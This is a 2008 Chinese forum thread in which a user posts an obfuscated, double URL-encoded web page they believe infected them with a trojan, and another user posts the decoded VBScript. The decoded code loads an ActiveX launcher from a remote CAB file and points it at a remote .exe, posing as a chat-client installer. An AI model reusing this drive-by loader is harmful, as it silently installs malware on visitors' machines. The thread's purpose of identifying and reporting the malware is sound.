中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名：www.cn-dos.net  论坛域名：www.cn-dos.net/forum
DOS，代表着自由开放与发展，我们努力起来，学习FreeDOS和Linux的自由开放与GNU精神，共同创造和发展美好的自由与GNU GPL世界吧！

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » 我中木马了高手帮我看下
作者:
标题: 我中木马了高手帮我看下 上一主题 | 下一主题
hazjs
初级用户





积分 60
发帖 25
注册 2007-6-24
状态 离线
『楼 主』:  我中木马了高手帮我看下

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3CHTML%3E%0D%0A%3CHEAD%3E%0D%0A%3CSCRIPT%20LANGUAGE%3D%22Javascript%22%3E%0D%0A%3C%21%2D%2D%0D%0Avar%20Words%20%3D%22%253C%2521DOCTYPE%2520HTML%2520PUBLIC%2520%2522%252D%252F%252FW3C%252F%252FDTD%2520HTML%25204%252E0%2520Transitional%252F%252FEN%2522%253E%250D%250A%253C%2521%252D%252D%2520saved%2520from%2520url%253D%25280032%2529http%253A%252F%252Flihua%252Eg1%252E51web%252Ecn%252Fsay%252Ehtm%2520%252D%252D%253E%250D%250A%253C%2521%252D%252D%2520saved%2520from%2520url%253D%25280030%2529http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252F%2520%252D%252D%253E%253CHTML%253E%253CHEAD%253E%253CTITLE%253Esaynsay%252Ecom%253C%252FTITLE%253E%250D%250A%253CMETA%2520http%252Dequiv%253DContent%252DType%2520content%253D%2522text%252Fhtml%253B%2520charset%253Dgb2312%2522%253E%250D%250A%253CSCRIPT%2520language%253Dvbscript%253E%250D%250A%250D%250A%2509Sub%2520start%2528%2529%250D%250A%2520%2520%2520SHlaunch%252EPRODUCT%253D%2522SaynSay%25205%252Ex%2522%2509%250D%250A%2520%2520%2520SHlaunch%252EVER%253D%2522%2522%2509%250D%250A%2520%2520%2520SHlaunch%252EVERFULL%253D%25224%252E0%252E3%252E9%2522%2509%250D%250A%2509%2509%2509%2509%250D%250A%2520%2520%2520SHlaunch%252EUPGRADEURL%253D%2522http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252F%252Fupgrade%252F%2522%250D%250A%2520%2520%2520SHlaunch%252EINSTALLURL%253D%2522http%253A%252F%252F218%252E4%252E83%252E45%252F1%252F2%252Eexe%2522%250D%250A%250D%250A%2520%2520%2520SHlaunch%252EPageInstallURL%253D%2522http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252Fsetup%252Ehtml%2522%250D%250A%2520%2520%2520SHlaunch%252EPageUpgradeURL%253D%2522http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252Fupdate%252Ehtml%2522%2509%250D%250A%2520%2520%2520SHlaunch%252EPageErrorURL%253D%2522http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252Ferror%255Fchina%252Ehtml%2522%250D%250A%2520%2520%2520SHlaunch%252EPageDownloadURL%253D%2522http%253A%252F%252Fweb%252Ent100m%252Ecom%252Fsaynsay%252Fdownload%252Ehtml%2522%250D%250A%2520%2520%2520SHlaunch%252EPageWidth%253D0%2520%2520%250D%250A%2520%2520%2520SHlaunch%252EPageHeight%253D0%250D%250A%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522ADDR1IP%2522%252C%2522127%252E0%252E0%252E1%2522%2509%2509%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522LOUNGEHELP%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fcustomer%252Fhelp%252Fhelp%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522DATEROOMHELP%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fcustomer%252Fhelp%252Fhelp%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522MULTIROOMHELP%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fcustomer%252Fhelp%252Fhelp%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522ACCUSEURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fform%252Easp%2522%2509%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522USERINFOURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fuserinfo%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522VIDEOURL%2522%252C%2522%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522MYINFOURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fmyinfo%252Easp%2522%2509%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522DATEINFOURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fdateinfo%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522DOWNLOADURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fcustomer%252Ffaq%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522AVATARURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Favatar%252Fchat%255Favatar%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522AVATARURL2%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Favatar%252Fchat%255Favatar%255Fbig%252Easp%2522%250D%250A%2509%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522BANNERURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252F%252Fuser%252Flinead%252Fbanner%252Ehtm%2522%2520%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522CHATNOTICEURL%2522%252C%2522%253Cimg%2520src%253D%2527http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fchatimg%252Fchat%255Fnotice%252Egif%2527%253E%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522NEWWINDOWURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fnewwindow%252Fwindow%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EWriteInfo%2520%2522SERVERLISTURL%2522%252C%2522http%253A%252F%252Fwww%252Esaynsay%252Ecom%252Fuser%252Fserverlist%252Fserverlist%252Easp%2522%250D%250A%2520%2520%2520SHlaunch%252EARGUMENT%253D%2522%252C%2522%250D%250A%2520%2520%2520SHlaunch%252EStart%250D%250A%2520%2520%2520%250D%250A%2520%2520%2520end%2520sub%250D%250A%2520%2520%2520%250D%250A%2509%253C%252FSCRIPT%253E%250D%250A%250D%250A%253CSCRIPT%2520language%253DjavaScript%2520event%253DFinishInstall%2520for%253DSHlaunch%253E%250D%250A%2509self%252Eclose%2528%2529%253B%250D%250A%253C%252FSCRIPT%253E%250D%250A%250D%250A%253CMETA%2520content%253D%2522MSHTML%25206%252E00%252E2900%252E2180%2522%2520name%253DGENERATOR%253E%253C%252FHEAD%253E%250D%250A%253CBODY%2520oncontextmenu%253Dself%252Eevent%252EreturnValue%253Dfalse%2520onselectstart%253D%2522return%2520false%2522%2520%250D%250Aonload%253Dstart%2528%2529%253E%250D%250A%253COBJECT%2520id%253DSHlaunch%2520style%253D%2522LEFT%253A%25200px%253B%2520TOP%253A%25200px%2522%2520%250D%250AcodeBase%253Dhttp%253A%252F%252F61%252E155%252E9%252E9%252FSHLauncher%255F1001%252Ecab%2523version%253D1%252C0%252C0%252C1%2520%250D%250Aclassid%253DCLSID%253A53FF03ED%252DFF9A%252D41A3%252D9D18%252D7032C6B8A67B%253E%253CPARAM%2520NAME%253D%2522%255FVersion%2522%2520VALUE%253D%252265536%2522%253E%253CPARAM%2520NAME%253D%2522%255FExtentX%2522%2520VALUE%253D%25222646%2522%253E%253CPARAM%2520NAME%253D%2522%255FExtentY%2522%2520VALUE%253D%25221323%2522%253E%253CPARAM%2520NAME%253D%2522%255FStockProps%2522%2520VALUE%253D%25220%2522%253E%253C%252FOBJECT%253E%253C%252FBODY%253E%253C%252FHTML%253E%250D%250A%22%0D%0Afunction%20SetNewWords%28%29%0D%0A%7B%0D%0Avar%20NewWords%3B%0D%0ANewWords%20%3D%20unescape%28Words%29%3B%0D%0Adocument%2Ewrite%28NewWords%29%3B%0D%0A%7D%0D%0ASetNewWords%28%29%3B%0D%0A%2F%2F%20%2D%2D%3E%0D%0A%3C%2FSCRIPT%3E%0D%0A%3C%2FHEAD%3E%0D%0A%3CBODY%3E%0D%0A%3C%2FBODY%3E%0D%0A%3C%2FHTML%3E%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

2008-5-21 21:36
查看资料  发短消息 网志   编辑帖子  回复  引用回复
hazjs
初级用户





积分 60
发帖 25
注册 2007-6-24
状态 离线
『第 2 楼』:  

帮忙解密下我看看中了什么木马

2008-5-21 21:48
查看资料  发短消息 网志   编辑帖子  回复  引用回复
PPdos
高级用户




积分 783
发帖 268
注册 2006-12-26
状态 离线
『第 3 楼』:  

你怎么就知道这一定是木马尼？

我看像只虫子 在找洞。。。



菩提本无树,明镜亦非台,本来无一物,何处惹尘埃.
2008-5-22 06:16
查看资料  发短消息 网志   编辑帖子  回复  引用回复
hazjs
初级用户





积分 60
发帖 25
注册 2007-6-24
状态 离线
『第 4 楼』:  

我知道是马,是调用什么控件的具体我不知道

2008-5-22 06:37
查看资料  发短消息 网志   编辑帖子  回复  引用回复
jmz573515
银牌会员




积分 1212
发帖 464
注册 2006-12-13
状态 离线
『第 5 楼』:  

好像是这个内容,看不懂~~~
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0032)http://lihua.g1.51web.cn/say.htm -->
<!-- saved from url=(0030)http://web.nt100m.com/saynsay/ --><HTML><HEAD><TITLE>saynsay.com</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<SCRIPT language=vbscript>

        Sub start()
   SHlaunch.PRODUCT="SaynSay 5.x"       
   SHlaunch.VER=""       
   SHlaunch.VERFULL="4.0.3.9"       
                               
   SHlaunch.UPGRADEURL="http://web.nt100m.com/saynsay//upgrade/"
   SHlaunch.INSTALLURL="http://218.4.83.45/1/2.exe"

   SHlaunch.PageInstallURL="http://web.nt100m.com/saynsay/setup.html"
   SHlaunch.PageUpgradeURL="http://web.nt100m.com/saynsay/update.html"       
   SHlaunch.PageErrorURL="http://web.nt100m.com/saynsay/error_china.html"
   SHlaunch.PageDownloadURL="http://web.nt100m.com/saynsay/download.html"
   SHlaunch.PageWidth=0  
   SHlaunch.PageHeight=0

   SHlaunch.WriteInfo "ADDR1IP","127.0.0.1"               
   SHlaunch.WriteInfo "LOUNGEHELP","http://www.saynsay.com/customer/help/help.asp"
   SHlaunch.WriteInfo "DATEROOMHELP","http://www.saynsay.com/customer/help/help.asp"
   SHlaunch.WriteInfo "MULTIROOMHELP","http://www.saynsay.com/customer/help/help.asp"
   SHlaunch.WriteInfo "ACCUSEURL","http://www.saynsay.com/user/form.asp"       
   SHlaunch.WriteInfo "USERINFOURL","http://www.saynsay.com/user/userinfo.asp"
   SHlaunch.WriteInfo "VIDEOURL",""
   SHlaunch.WriteInfo "MYINFOURL","http://www.saynsay.com/user/myinfo.asp"       
   SHlaunch.WriteInfo "DATEINFOURL","http://www.saynsay.com/user/dateinfo.asp"
   SHlaunch.WriteInfo "DOWNLOADURL","http://www.saynsay.com/customer/faq.asp"
   SHlaunch.WriteInfo "AVATARURL","http://www.saynsay.com/avatar/chat_avatar.asp"
   SHlaunch.WriteInfo "AVATARURL2","http://www.saynsay.com/avatar/chat_avatar_big.asp"
       
   SHlaunch.WriteInfo "BANNERURL","http://www.saynsay.com//user/linead/banner.htm"
   SHlaunch.WriteInfo "CHATNOTICEURL","<img src='http://www.saynsay.com/user/chatimg/chat_notice.gif'>"
   SHlaunch.WriteInfo "NEWWINDOWURL","http://www.saynsay.com/user/newwindow/window.asp"
   SHlaunch.WriteInfo "SERVERLISTURL","http://www.saynsay.com/user/serverlist/serverlist.asp"
   SHlaunch.ARGUMENT=","
   SHlaunch.Start
   
   end sub
   
        </SCRIPT>

<SCRIPT language=javaScript event=FinishInstall for=SHlaunch>
        self.close();
</SCRIPT>

<META content="MSHTML 6.00.2900.2180" name=GENERATOR></HEAD>
<BODY oncontextmenu=self.event.returnValue=false onselectstart="return false"
onload=start()>
<OBJECT id=SHlaunch style="LEFT: 0px; TOP: 0px"
codeBase=http://61.155.9.9/SHLauncher_1001.cab#version=1,0,0,1
classid=CLSID:53FF03ED-FF9A-41A3-9D18-7032C6B8A67B><PARAM NAME="_Version" VALUE="65536"><PARAM NAME="_ExtentX" VALUE="2646"><PARAM NAME="_ExtentY" VALUE="1323"><PARAM NAME="_StockProps" VALUE="0"></OBJECT></BODY></HTML>


2008-5-22 09:38
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
hazjs
初级用户





积分 60
发帖 25
注册 2007-6-24
状态 离线
『第 6 楼』:  

谢谢楼上的
这个就是木马http://218.4.83.45/1/2.exe我已经上报了此病毒

2008-5-23 11:11
查看资料  发短消息 网志   编辑帖子  回复  引用回复

请注意：您目前尚未注册或登录，请您注册或登录以使用论坛的各项功能，例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转:  



[ 联系联盟系统管理团队 - 中国DOS联盟 ]

Sponsored by ifanr Inc | © 2001-2023